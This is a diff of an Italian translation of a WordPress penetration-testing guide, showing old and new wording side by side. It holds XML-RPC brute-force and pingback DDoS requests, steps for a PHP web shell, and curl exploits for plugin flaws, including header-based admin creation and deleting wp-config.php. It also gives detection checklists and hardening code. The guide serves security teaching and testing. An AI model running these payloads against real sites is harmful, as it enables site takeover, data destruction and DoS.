To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
**Verifica**
**Controlla**
```html
<methodCall>
<methodName>system.listMethods</methodName>
@ -120,9 +120,9 @@ Per verificare se è attivo prova ad accedere a _**/xmlrpc.php**_ e invia questa
```
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
**Bruteforce delle credenziali**
**Credenziali Bruteforce**
**`wp.getUserBlogs`**, **`wp.getCategories`** o **`metaWeblog.getUsersBlogs`** sono alcuni dei metodi che possono essere usati per brute-force delle credenziali. Se riesci a trovarne uno puoi inviare qualcosa del tipo:
**`wp.getUserBlogs`**, **`wp.getCategories`** o **`metaWeblog.getUsersBlogs`** sono alcuni dei metodi che possono essere usati per il brute-force delle credenziali. Se ne trovi uno puoi inviare qualcosa del tipo:
```html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
@ -132,7 +132,7 @@ Per verificare se è attivo prova ad accedere a _**/xmlrpc.php**_ e invia questa
</params>
</methodCall>
```
Il messaggio _"Nome utente o password non corretti"_ all'interno di una risposta con codice 200 dovrebbe apparire se le credenziali non sono valide.
Il messaggio _"Incorrect username or password"_ all'interno di una risposta con codice 200 dovrebbe apparire se le credenziali non sono valide.
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
@ -168,18 +168,18 @@ Usando le credenziali corrette puoi caricare un file. Nella risposta apparirà i
</params>
</methodCall>
```
C'è anche un modo **più veloce** per eseguire brute-force delle credenziali usando **`system.multicall`**, dato che puoi provare più credenziali nella stessa richiesta:
Esiste anche un modo **più veloce** per fare brute-force delle credenziali usando **`system.multicall`**, poiché puoi provare più credenziali nella stessa richiesta:
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
**Bypass 2FA**
Questo metodo è pensato per programmi e non per esseri umani, ed è vecchio, quindi non supporta la 2FA. Pertanto, se hai credenziali valide ma l'accesso principale è protetto da 2FA, **potresti essere in grado di abusare di xmlrpc.php per effettuare il login con quelle credenziali bypassando la 2FA**. Nota che non potrai eseguire tutte le azioni disponibili tramite la console, ma potresti comunque riuscire a ottenere RCE come spiega Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
Questo metodo è pensato per programmi e non per esseri umani, ed è vecchio, quindi non supporta la 2FA. Quindi, se hai creds validi ma l'accesso principale è protetto da 2FA, **potresti essere in grado di abusare di xmlrpc.php per effettuare il login con quei creds bypassando la 2FA**. Nota che non potrai eseguire tutte le azioni che puoi fare tramite la console, ma potresti comunque arrivare a RCE come spiega Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
**DDoS or port scanning**
Se riesci a trovare il metodo _**pingback.ping**_ nella lista, puoi far sì che Wordpress invii una richiesta arbitraria a qualunque host/port.
Questo può essere usato per indurre **migliaia** di **siti** Wordpress a **accedere** a una **stessa destinazione** (causando così un **DDoS** in quel punto) oppure puoi usarlo per far effettuare a **Wordpress** una scansione di una **network** interna (puoi indicare qualsiasi port).
Se riesci a trovare il metodo _**pingback.ping**_ nella lista puoi far sì che Wordpress invii una richiesta arbitraria a qualsiasi host/porta.\
Questo può essere usato per chiedere a **migliaia** di siti **Wordpress** di **accedere** a una sola **location** (quindi si causa un **DDoS** su quella location) oppure puoi usarlo per far **Wordpress** **scansionare** una rete interna (puoi specificare qualsiasi porta).
```html
<methodCall>
<methodName>pingback.ping</methodName>
@ -193,7 +193,7 @@ Questo può essere usato per indurre **migliaia** di **siti** Wordpress a **acce
Se ottieni **faultCode** con un valore **maggiore** di **0** (17), significa che la porta è aperta.
Dai un'occhiata all'uso di **`system.multicall`** nella sezione precedente per imparare come abusare di questo metodo per causare DDoS.
Dai un'occhiata all'uso di **`system.multicall`** nella sezione precedente per imparare come abusare di questo metodo per causare un DDoS.
**DDoS**
```html
@ -210,10 +210,10 @@ Dai un'occhiata all'uso di **`system.multicall`** nella sezione precedente per i
### wp-cron.php DoS
Questo file di solito si trova nella root del sito Wordpress: **`/wp-cron.php`**\
Quando questo file viene **acceduto** viene eseguita una query MySQL **pesante**, quindi può essere usato da **attackers** per **causare** un **DoS**.\
Inoltre, per default, il `wp-cron.php` viene chiamato ad ogni caricamento di pagina (ogni volta che un client richiede una pagina Wordpress), il che su siti ad alto traffico può causare problemi (DoS).
Quando questo file viene **acceduto** viene eseguita una **pesante** MySQL **query**, quindi può essere usato da **attackers** per **causare** un **DoS**.\
Inoltre, per default, `wp-cron.php` viene chiamato ad ogni caricamento della pagina (ogni volta che un client richiede una pagina Wordpress), il che su siti ad alto traffico può causare problemi (DoS).
Si raccomanda di disabilitare Wp-Cron e creare un vero cronjob sul host che esegua le azioni necessarie a intervalli regolari (senza causare problemi).
Si raccomanda di disabilitare Wp-Cron e creare un vero cronjob sull'host che esegua le azioni necessarie a intervalli regolari (senza causare problemi).
### /wp-json/oembed/1.0/proxy - SSRF
@ -230,7 +230,7 @@ This is the response when it doesn't work:
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
Questo strumento verifica se esistono **methodName: pingback.ping** e il path **/wp-json/oembed/1.0/proxy** e, se presenti, tenta di sfruttarli.
Questo tool verifica se esiste **methodName: pingback.ping** e il path **/wp-json/oembed/1.0/proxy**; se presenti, tenta di sfruttarli.
## Strumenti automatici
```bash
@ -238,20 +238,20 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
## Ottenere l'accesso sovrascrivendo un bit
## Ottenere accesso sovrascrivendo un bit
Più che un attacco reale, questa è una curiosità. Nel CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) potevi invertire 1 bit di qualsiasi file di wordpress. Quindi potevi invertire il bit in posizione `5389` del file `/var/www/html/wp-includes/user.php` per trasformare in NOP l'operazione NOT (`!`).
Più che un vero attacco, questa è una curiosità. Nel CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) potevi invertire 1 bit di qualsiasi file di wordpress. Quindi potevi modificare il bit alla posizione `5389` del file `/var/www/html/wp-includes/user.php` per NOP l'operazione NOT (`!`).
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Pannello RCE**
**Modificare un php del tema in uso (admin credentials needed)**
**Modificare un file php del tema in uso (sono necessarie credenziali admin)**
Aspetto → Editor del tema → Template 404 (a destra)
Modifica il contenuto con una php shell:
Modifica il contenuto inserendo una php shell:
![](<../../images/image (384).png>)
@ -265,12 +265,12 @@ use exploit/unix/webapp/wp_admin_shell_upload
```
per ottenere una sessione.
## RCE del plugin
## Plugin RCE
### Plugin PHP
### PHP plugin
Potrebbe essere possibile caricare file .php come plugin.\
Crea la tua backdoor php usando per esempio:
Crea il tuo backdoor php usando per esempio:
![](<../../images/image (183).png>)
@ -286,40 +286,40 @@ Clicca su Procced:
![](<../../images/image (70).png>)
Probabilmente non sembrerà succedere nulla, ma se vai in Media vedrai la tua shell caricata:
Probabilmente apparentemente non succederà nulla, ma se vai in Media, vedrai la tua shell caricata:
![](<../../images/image (462).png>)
Accedendovi vedrai l'URL per eseguire la reverse shell:
Accedi e vedrai l'URL per eseguire la reverse shell:
![](<../../images/image (1006).png>)
### Upload e attivazione di un plugin malevolo
### Caricamento e attivazione di un plugin malevolo
Questo metodo prevede l'installazione di un plugin malevolo noto per essere vulnerabile e sfruttabile per ottenere una web shell. Il processo viene eseguito tramite la dashboard di WordPress come segue:
Questo metodo implica l'installazione di un plugin malevolo noto per essere vulnerabile e che può essere sfruttato per ottenere una web shell. Questo processo viene eseguito tramite il WordPress dashboard come segue:
1. **Acquisizione del plugin**: Il plugin viene ottenuto da una fonte come Exploit DB, ad esempio [**here**](https://www.exploit-db.com/exploits/36374).
2. **Installazione del plugin**:
- Vai nella dashboard di WordPress, poi in `Dashboard > Plugins > Upload Plugin`.
1. **Plugin Acquisition**: Il plugin si ottiene da una fonte come Exploit DB, ad esempio [**here**](https://www.exploit-db.com/exploits/36374).
2. **Plugin Installation**:
- Vai al WordPress dashboard, quindi vai a `Dashboard > Plugins > Upload Plugin`.
- Carica il file zip del plugin scaricato.
3. **Attivazione del plugin**: Una volta che il plugin è installato correttamente, deve essere attivato tramite la dashboard.
3. **Plugin Activation**: Una volta che il plugin è stato installato correttamente, deve essere attivato tramite la dashboard.
4. **Sfruttamento**:
- Con il plugin "reflex-gallery" installato e attivato, può essere sfruttato poiché è noto per essere vulnerabile.
- Il framework Metasploit fornisce un exploit per questa vulnerabilità. Caricando il modulo appropriato ed eseguendo comandi specifici, è possibile stabilire una sessione meterpreter, ottenendo accesso non autorizzato al sito.
- Si noti che questo è solo uno dei molti metodi per sfruttare un sito WordPress.
- Con il plugin "reflex-gallery" installato e attivato, può essere sfruttato in quanto noto per essere vulnerabile.
- Il framework Metasploit fornisce un exploit per questa vulnerabilità. Caricando il modulo appropriato ed eseguendo comandi specifici, è possibile ottenere una sessione meterpreter, concedendo accesso non autorizzato al sito.
- Si osserva che questo è solo uno dei tanti metodi per sfruttare un sito WordPress.
Il contenuto include elementi visivi che mostrano i passaggi nella dashboard di WordPress per installare e attivare il plugin. Tuttavia, è importante sottolineare che sfruttare vulnerabilità in questo modo è illegale e non etico senza la dovuta autorizzazione. Queste informazioni devono essere usate responsabilmente e solamente in un contesto legale, come penetration testing con esplicita autorizzazione.
Il contenuto include elementi visivi che mostrano i passaggi nella dashboard di WordPress per installare e attivare il plugin. Tuttavia, è importante notare che sfruttare vulnerabilità in questo modo è illegale e non etico senza la dovuta autorizzazione. Queste informazioni devono essere usate responsabilmente e solo in un contesto legale, come penetration testing con esplicita autorizzazione.
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
**Per istruzioni più dettagliate controlla:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
## From XSS to RCE
## Da XSS a RCE
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ è uno script progettato per elevare una vulnerabilità di **Cross-Site Scripting (XSS)** a **Remote Code Execution (RCE)** o ad altre vulnerabilità critiche in WordPress. Per maggiori informazioni vedi [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Fornisce **supporto per Wordpress Versions 6.X.X, 5.X.X and 4.X.X. e permette di:**
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ è uno script progettato per elevare una vulnerabilità di **Cross-Site Scripting (XSS)** a **Remote Code Execution (RCE)** o ad altre vulnerabilità critiche in WordPress. Per maggiori informazioni consulta [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Fornisce **supporto per WordPress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
- _**Privilege Escalation:**_ Crea un utente in WordPress.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Carica il tuo plugin personalizzato (backdoor) in WordPress.
- _**(RCE) Built-In Plugin Edit:**_ Modifica Built-In Plugins in WordPress.
- _**(RCE) Built-In Theme Edit:**_ Modifica Built-In Themes in WordPress.
- _**(Custom) Custom Exploits:**_ Exploit personalizzati per plugin/temi di terze parti di WordPress.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Carica il tuo plugin personalizzato (backdoor) su WordPress.
- _**(RCE) Built-In Plugin Edit:**_ Modifica un Built-In Plugin in WordPress.
- _**(RCE) Built-In Theme Edit:**_ Modifica un Built-In Theme in WordPress.
- _**(Custom) Custom Exploits:**_ Exploit personalizzati per plugin/theme di terze parti di WordPress.
## Post Exploitation
@ -333,27 +333,27 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
```
## Wordpress Plugins Pentest
### Superficie di attacco
### Superficie d'attacco
Sapere come un plugin Wordpress può esporre funzionalità è fondamentale per trovare vulnerabilità. Puoi vedere come un plugin potrebbe esporre funzionalità nei seguenti punti elenco e alcuni esempi di plugin vulnerabili in [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
Sapere come un plugin di Wordpress possa esporre funzionalità è fondamentale per individuare vulnerabilità nella sua logica. Puoi vedere come un plugin possa esporre funzionalità nei punti elenco seguenti e alcuni esempi di plugin vulnerabili in [**questo post del blog**](https://nowotarski.info/wordpress-nonce-authorization/).
- **`wp_ajax`**
Uno dei modi in cui un plugin può esporre funzioni agli utenti è tramite AJAX handlers. Queste possono contenere bug di logica, autorizzazione o autenticazione. Inoltre è abbastanza frequente che queste funzioni basino sia l'autenticazione sia l'autorizzazione sull'esistenza di un wordpress nonce che **qualsiasi utente autenticato nell'istanza Wordpress potrebbe avere** (indipendentemente dal suo ruolo).
Uno dei modi in cui un plugin può esporre funzioni agli utenti è tramite handler AJAX. Queste funzioni possono contenere bug di logica, di autorizzazione o di autenticazione. Inoltre, è abbastanza frequente che tali funzioni basino sia l'autenticazione sia l'autorizzazione sull'esistenza di un wordpress nonce che **qualsiasi utente autenticato nell'istanza Wordpress potrebbe possedere** (indipendentemente dal ruolo).
Queste sono le funzioni che possono essere usate per esporre una funzione in un plugin:
```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
```
**L'uso di `nopriv` rende l'endpoint accessibile da qualsiasi utente (anche non autenticati).**
**L'uso di `nopriv` rende l'endpoint accessibile a qualsiasi utente (anche non autenticati).**
> [!CAUTION]
> Inoltre, se la funzione verifica solo l'autorizzazione dell'utente con la funzione `wp_verify_nonce`, questa funzione controlla soltanto che l'utente sia autenticato, di solito non verifica il ruolo dell'utente. Quindi utenti con pochi privilegi potrebbero avere accesso ad azioni riservate ad utenti con privilegi elevati.
> Inoltre, se la funzione verifica solo l'autorizzazione dell'utente tramite la funzione `wp_verify_nonce`, questa funzione verifica soltanto che l'utente sia autenticato, solitamente non controlla il ruolo dell'utente. Di conseguenza utenti con pochi privilegi potrebbero avere accesso ad azioni ad alto privilegio.
- **REST API**
È anche possibile esporre funzioni da wordpress registrando una rest AP usando la funzione `register_rest_route`:
È anche possibile esporre funzioni di wordpress registrando una REST API usando la funzione `register_rest_route`:
```php
register_rest_route(
$this->namespace, '/get/', array(
@ -363,21 +363,21 @@ $this->namespace, '/get/', array(
)
);
```
La `permission_callback` è una funzione di callback che verifica se un determinato utente è autorizzato a invocare il metodo API.
La `permission_callback` è una funzione di callback che verifica se un dato utente è autorizzato a chiamare il metodo API.
**Se viene usata la funzione integrata `__return_true`, verrà semplicemente saltato il controllo dei permessi utente.**
**Se viene utilizzata la funzione integrata `__return_true`, salterà semplicemente il controllo delle autorizzazioni utente.**
- **Accesso diretto al file php**
Ovviamente, Wordpress utilizza PHP e i file all'interno dei plugin sono direttamente accessibili dal web. Quindi, se un plugin espone funzionalità vulnerabili che vengono attivate semplicemente accedendo al file, saranno sfruttabili da qualsiasi utente.
Ovviamente, Wordpress usa PHP e i file all'interno dei plugin sono direttamente accessibili dal web. Quindi, nel caso un plugin esponga una funzionalità vulnerabile attivabile semplicemente accedendo al file, sarà sfruttabile da qualsiasi utente.
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Alcuni plugin implementano “trusted header” come scorciatoie per integrazioni interne o reverse proxy e poi usano quell'header per impostare il contesto utente corrente per le richieste REST. Se l'header non è vincolato criptograficamente alla richiesta da un componente upstream, un attaccante può falsificarlo e raggiungere rotte REST privilegiate come amministratore.
Alcuni plugin implementano scorciatoie di “trusted header” per integrazioni interne o reverse proxies e poi utilizzano quell'intestazione per impostare il contesto dell'utente corrente per le richieste REST. Se l'header non è vincolato crittograficamente alla richiesta da un componente upstream, un attaccante può falsificarlo e colpire rotte REST privilegiate come amministratore.
- Impatto: escalation di privilegi non autenticata fino ad amministratore creando un nuovo account amministratore tramite la route REST core users.
- Header di esempio: `X-Wcpay-Platform-Checkout-User: 1` (forza l'ID utente 1, tipicamente il primo account amministratore).
- Route sfruttata: `POST /wp-json/wp/v2/users` con un array di ruoli elevati.
- Impact: escalatione dei privilegi non autenticata a amministratore creando un nuovo amministratore tramite la core users REST route.
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (forza l'ID utente 1, tipicamente il primo account amministratore).
- Exploited route: `POST /wp-json/wp/v2/users` con un array di ruolo elevato.
PoC
```http
@ -394,37 +394,37 @@ Content-Length: 114
Perché funziona
- Il plugin mappa un header controllato dal client allo stato di autenticazione e salta i controlli sulle capability.
- WordPress core si aspetta la capability `create_users` per questa route; il plugin la aggira impostando direttamente il contesto dell'utente corrente a partire dall'header.
- WordPress core si aspetta la capability `create_users` per questa route; l'hack del plugin la bypassa impostando direttamente il contesto dell'utente corrente dal header.
Indicatori di successo attesi
- HTTP 201 con un body JSON che descrive l'utente creato.
- Un nuovo admin visibile in `wp-admin/users.php`.
- Un nuovo utente admin visibile in `wp-admin/users.php`.
Checklist di rilevamento
Lista di controllo per il rilevamento
- Grep per `getallheaders()`, `$_SERVER['HTTP_...']`, o vendor SDK che leggono header custom per impostare il contesto utente (e.g., `wp_set_current_user()`, `wp_set_auth_cookie()`).
- Controlla le registrazioni REST per callback privilegiate che mancano di robusti controlli di `permission_callback` e invece si affidano agli header della request.
- Cerca l'uso delle funzioni core di user-management (`wp_insert_user`, `wp_create_user`) dentro gli handler REST che sono limitati solo dai valori degli header.
- Grep per `getallheaders()`, `$_SERVER['HTTP_...']`, o vendor SDKs che leggono header personalizzati per impostare il contesto utente (es. `wp_set_current_user()`, `wp_set_auth_cookie()`).
- Revisionare le registrazioni REST per callback privilegiate che non hanno controlli `permission_callback` robusti e che si affidano invece agli header della richiesta.
- Cercare l'uso di funzioni core di gestione utenti (`wp_insert_user`, `wp_create_user`) all'interno di handler REST che sono protette solo da valori di header.
Mitigazioni
- Non derivare mai autenticazione o autorizzazione da header controllati dal client.
- Se un reverse proxy deve iniettare l'identità, termini la fiducia al proxy e rimuova le copie in ingresso (e.g., `unset X-Wcpay-Platform-Checkout-User` at the edge), poi trasmetta un token firmato e verificatelo lato server.
- Per le route REST che eseguono azioni privilegiate, richiedi controlli `current_user_can()` e un `permission_callback` rigoroso (NON usare `__return_true`).
- Preferisci auth first-party (cookies, application passwords, OAuth) rispetto all'“impersonation” via header.
- Se un reverse proxy deve inserire l'identità, terminare la fiducia al proxy e rimuovere le copie inbound (es. `unset X-Wcpay-Platform-Checkout-User` at the edge), poi passare un token firmato e verificarlo lato server.
- Per le route REST che eseguono azioni privilegiate, richiedere controlli con `current_user_can()` e un `permission_callback` rigoroso (do NOT use `__return_true`).
- Preferire auth first-party (cookies, application passwords, OAuth) rispetto all'“impersonation” via header.
Riferimenti: vedi i link alla fine di questa pagina per un caso pubblico e un'analisi più ampia.
Riferimenti: vedere i link alla fine di questa pagina per un caso pubblico e un'analisi più ampia.
### Eliminazione arbitraria di file non autenticata via wp_ajax_nopriv (Litho Theme <= 3.0)
### Eliminazione Arbitraria di File non Autenticata via wp_ajax_nopriv (Litho Theme <= 3.0)
I temi e i plugin di WordPress espongono frequentemente handler AJAX tramite gli hook `wp_ajax_` e `wp_ajax_nopriv_`. Quando la variante **_nopriv_** è usata **la callback diventa raggiungibile da visitatori non autenticati**, quindi qualsiasi azione sensibile deve inoltre implementare:
I theme e plugin WordPress espongono frequentemente handler AJAX tramite gli hook `wp_ajax_` e `wp_ajax_nopriv_`. Quando la variante **_nopriv_** viene utilizzata **la callback diventa raggiungibile da visitatori non autenticati**, quindi qualsiasi azione sensibile deve inoltre implementare:
1. Un **capability check** (e.g. `current_user_can()` o almeno `is_user_logged_in()`), e
1. Un **controllo delle capability** (es. `current_user_can()` o almeno `is_user_logged_in()`), e
2. Un **CSRF nonce** validato con `check_ajax_referer()` / `wp_verify_nonce()`, e
3. **Sanitizzazione/validazione stretta degli input**.
3. **Sanitizzazione / validazione rigorosa degli input**.
Il tema multipurpose Litho (< 3.1) ha dimenticato questi 3 controlli nella feature *Remove Font Family* e ha finito per distribuire il seguente codice (semplificato):
Il tema multipurpose Litho (< 3.1) si è dimenticato di implementare questi 3 controlli nella funzionalità *Remove Font Family* e ha finito per distribuire il seguente codice (semplificato):
```php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
@ -445,29 +445,29 @@ add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove
```
Problemi introdotti da questo snippet:
* **Accesso non autenticato** – l'hook `wp_ajax_nopriv_` è registrato.
* **Nessun controllo nonce / capability** – qualsiasi visitatore può hit the endpoint.
* **Nessuna sanificazione del percorso** – la stringa controllata dall'utente `fontfamily` è concatenata a un percorso del filesystem senza filtraggio, consentendo il classico `../../` traversal.
* **Unauthenticated access** – l'hook `wp_ajax_nopriv_` è registrato.
* **No nonce / capability check** – qualunque visitatore può raggiungere l'endpoint.
* **No path sanitisation** – la stringa `fontfamily` controllata dall'utente viene concatenata a un percorso del filesystem senza filtraggio, permettendo il classico `../../` traversal.
#### Sfruttamento
#### Exploitation
An attacker può cancellare qualsiasi file o directory **sotto la directory base uploads** (normalmente `<wp-root>/wp-content/uploads/`) inviando una singola HTTP POST request:
Un attaccante può eliminare qualsiasi file o directory **sotto la directory base uploads** (normalmente `<wp-root>/wp-content/uploads/`) inviando una singola richiesta HTTP POST:
```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
```
Poiché `wp-config.php` risiede al di fuori di *uploads*, quattro sequenze `../` sono sufficienti in un'installazione di default. Cancellando `wp-config.php` WordPress verrà forzato nella *procedura guidata di installazione* alla visita successiva, consentendo la completa acquisizione del sito (l'attaccante si limita a fornire una nuova configurazione DB e a creare un utente admin).
Poiché `wp-config.php` si trova al di fuori di *uploads*, quattro sequenze `../` sono sufficienti in un'installazione predefinita. Eliminando `wp-config.php` si forza WordPress nella *procedura di installazione* alla visita successiva, consentendo un takeover completo del sito (l'attaccante fornisce semplicemente una nuova configurazione DB e crea un utente admin).
Altri bersagli ad alto impatto includono file `.php` di plugin/tema (per compromettere plugin di sicurezza) o regole `.htaccess`.
Altri target impattanti includono file `.php` di plugin/theme (per compromettere plugin di sicurezza) o regole `.htaccess`.
#### Checklist di rilevamento
#### Detection checklist
* Qualsiasi callback `add_action( 'wp_ajax_nopriv_...')` che chiama helper del filesystem (`copy()`, `unlink()`, `$wp_filesystem->delete()`, ecc.).
* Concatenazione di input utente non sanitizzato in percorsi (cerca `$_POST`, `$_GET`, `$_REQUEST`).
* Qualsiasi callback `add_action( 'wp_ajax_nopriv_...')` che invoca helper del filesystem (`copy()`, `unlink()`, `$wp_filesystem->delete()`, ecc.).
* Concatenazione di input utente non sanitizzato nei path (cerca `$_POST`, `$_GET`, `$_REQUEST`).
* Assenza di `check_ajax_referer()` e `current_user_can()`/`is_user_logged_in()`.
#### Rafforzamento
#### Hardening
```php
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
@ -487,16 +487,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
// 🔒 NO wp_ajax_nopriv_ registration
```
> [!TIP]
> **Sempre** considera qualsiasi operazione di scrittura/cancellazione su disco come privilegiata e verifica due volte:
> **Sempre** tratta qualsiasi operazione di scrittura/cancellazione su disco come privilegiata e verifica due volte:
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
---
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
### Privilege escalation via ripristino di ruoli obsoleti e autorizzazione mancante (ASE "View Admin as Role")
Molti plugin implementano una funzionalità "view as role" o di temporaneo cambio ruolo salvando il ruolo originale (o i ruoli) nei user meta in modo che possano essere ripristinati in seguito. Se il percorso di ripristino si basa solo su parametri di richiesta (es., `$_REQUEST['reset-for']`) e su una lista mantenuta dal plugin senza verificare capabilities e un nonce valido, questo diventa una vertical privilege escalation.
Molti plugin implementano una funzionalità "view as role" o di cambio temporaneo di ruolo salvando i ruoli originali negli user meta in modo che possano essere ripristinati in seguito. Se il percorso di ripristino si basa solo sui parametri della request (e.g., `$_REQUEST['reset-for']`) e su una lista mantenuta dal plugin senza verificare le capability e un nonce valido, questo diventa una vertical privilege escalation.
Un esempio reale è stato trovato nel plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Il ramo di reset ripristinava i ruoli basandosi su `reset-for=<username>` se lo username appariva in un array interno `$options['viewing_admin_as_role_are']`, ma non eseguiva né un controllo `current_user_can()` né una verifica del nonce prima di rimuovere i ruoli correnti e ri-aggiungere i ruoli salvati nei user meta `_asenha_view_admin_as_original_roles`:
Un esempio reale è stato trovato nel plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Il ramo di reset ripristinava i ruoli basandosi su `reset-for=<username>` se il nome utente compariva in un array interno `$options['viewing_admin_as_role_are']`, ma non eseguiva né un controllo `current_user_can()` né una verifica del nonce prima di rimuovere i ruoli correnti e riaggiungere i ruoli salvati negli user meta `_asenha_view_admin_as_original_roles`:
```php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
@ -514,13 +514,13 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
Perché è sfruttabile
- Si fida di `$_REQUEST['reset-for']` e di un'opzione del plugin senza autorizzazione lato server.
- Se un utente in precedenza aveva privilegi elevati salvati in `_asenha_view_admin_as_original_roles` ed è stato declassato, può ripristinarli richiamando il reset path.
- In alcune distribuzioni, qualsiasi utente autenticato potrebbe innescare un reset per un altro username ancora presente in `viewing_admin_as_role_are` (autorizzazione difettosa).
- Se un utente in precedenza aveva privilegi più elevati salvati in `_asenha_view_admin_as_original_roles` ed è stato declassato, può ripristinarli visitando il percorso di reset.
- In alcune installazioni, qualsiasi utente autenticato potrebbe avviare un reset per un altro username ancora presente in `viewing_admin_as_role_are` (autorizzazione non corretta).
Prerequisiti dell'attacco
- Versione del plugin vulnerabile con la funzionalità abilitata.
- L'account target ha un ruolo ad alta privilegio obsoleto memorizzato in user meta da un utilizzo precedente.
- L'account target ha un ruolo di alto privilegio obsoleto memorizzato nei user meta da un uso precedente.
- Qualsiasi sessione autenticata; mancanza di nonce/capability nel flusso di reset.
Sfruttamento (esempio)
@ -531,36 +531,36 @@ Sfruttamento (esempio)
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
```
Nelle build vulnerabili questo rimuove i ruoli correnti e riaggiunge i ruoli originali salvati (e.g., `administrator`), elevando efficacemente i privilegi.
Nelle build vulnerabili questo rimuove i ruoli correnti e riaggiunge i ruoli originali salvati (es., `administrator`), causando di fatto un'escalation di privilegi.
Detection checklist
Checklist di rilevamento
- Cerca funzionalità di role-switching che persistono le “original roles” nei user meta (e.g., `_asenha_view_admin_as_original_roles`).
- Cerca funzionalità di role-switching che persistono gli “original roles” nei user meta (es., `_asenha_view_admin_as_original_roles`).
- Individua percorsi di reset/restore che:
- Leggono nomi utente da `$_REQUEST` / `$_GET` / `$_POST`.
- Leggono username da `$_REQUEST` / `$_GET` / `$_POST`.
- Modificano ruoli tramite `add_role()` / `remove_role()` senza `current_user_can()` e `wp_verify_nonce()` / `check_admin_referer()`.
- Autorizzano basandosi su un array di opzioni del plugin (e.g., `viewing_admin_as_role_are`) invece delle capacità dell'attore.
- Autorizzano basandosi su un array di opzioni del plugin (es., `viewing_admin_as_role_are`) invece che sulle capability dell'attore.
Rafforzamento
Mitigazioni
- Applica controlli sulle capability in ogni ramo che modifica lo stato (e.g., `current_user_can('manage_options')` o più restrittivo).
- Richiedi nonce per tutte le mutazioni di ruoli/permessi e verificane la validità: `check_admin_referer()` / `wp_verify_nonce()`.
- Non fidarti mai di nomi utente forniti nella request; risolvi l'utente di destinazione server-side basandoti sull'attore autenticato e su una policy esplicita.
- Invalidare lo stato delle “original roles” sugli aggiornamenti di profilo/ruolo per evitare il ripristino di privilegi elevati obsoleti:
- Applicare controlli sulle capability in ogni ramo che modifica lo stato (es., `current_user_can('manage_options')` o più restrittivo).
- Richiedere nonces per tutte le mutazioni di ruoli/permessi e verificarli: `check_admin_referer()` / `wp_verify_nonce()`.
- Non fidarsi mai di username forniti dalla request; risolvere l'utente target lato server basandosi sull'attore autenticato e su una policy esplicita.
- Invalidare lo stato degli “original roles” durante aggiornamenti di profile/ruolo per evitare il ripristino di privilegi elevati obsoleti:
```php
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
```
- Valuta di memorizzare uno stato minimo e di usare token a tempo limitato e protetti da capability per switch di ruolo temporanei.
- Valuta di conservare uno stato minimo e di usare token a tempo limitato e protetti da capability per switch temporanei di ruolo.
---
### Escalation di privilegi non autenticata tramite cookie‑trusted user switching su init pubblico (Service Finder “sf-booking”)
### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
